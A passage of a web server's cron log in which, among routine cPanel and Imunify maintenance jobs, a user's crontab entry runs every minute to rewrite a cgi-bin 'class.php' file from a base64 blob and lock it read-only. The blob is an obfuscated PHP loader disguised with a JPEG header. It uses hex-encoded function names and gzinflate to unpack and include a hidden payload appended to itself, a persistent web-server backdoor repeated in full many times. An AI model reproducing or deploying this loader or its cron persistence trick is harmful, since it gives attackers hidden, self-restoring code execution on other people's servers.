IJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:16:01 server CROND[7322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:17:01 server CROND[7735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:17:01 server CROND[7736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:17:01 server CROND[7737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:18:01 server CROND[8207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:18:01 server CROND[8208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:18:01 server CROND[8209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:19:01 server CROND[8589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:19:01 server CROND[8590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:19:01 server CROND[8591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:20:01 server CROND[8978]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:20:01 server CROND[8980]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:20:01 server CROND[8989]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 17:20:01 server CROND[8995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:20:01 server CROND[8997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:20:01 server CROND[9002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:20:01 server CROND[9000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:20:01 server CROND[8998]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:20:01 server CROND[8999]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:21:01 server CROND[9822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:21:01 server CROND[9823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:21:01 server CROND[9824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:22:01 server CROND[10196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:22:01 server CROND[10197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:22:01 server CROND[10198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:23:01 server CROND[10660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:23:01 server CROND[10661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:23:01 server CROND[10662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:24:01 server CROND[11028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:24:01 server CROND[11029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:24:01 server CROND[11030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:25:01 server CROND[11423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:25:01 server CROND[11425]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:25:01 server CROND[11427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:25:01 server CROND[11428]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:25:01 server CROND[11430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:25:01 server CROND[11429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:25:01 server CROND[11434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:26:01 server CROND[12233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:26:01 server CROND[12234]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:26:01 server CROND[12235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:27:01 server CROND[12641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:27:01 server CROND[12643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:27:01 server CROND[12644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:27:01 server CROND[12642]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 17:28:01 server CROND[13117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:28:01 server CROND[13120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:28:01 server CROND[13119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
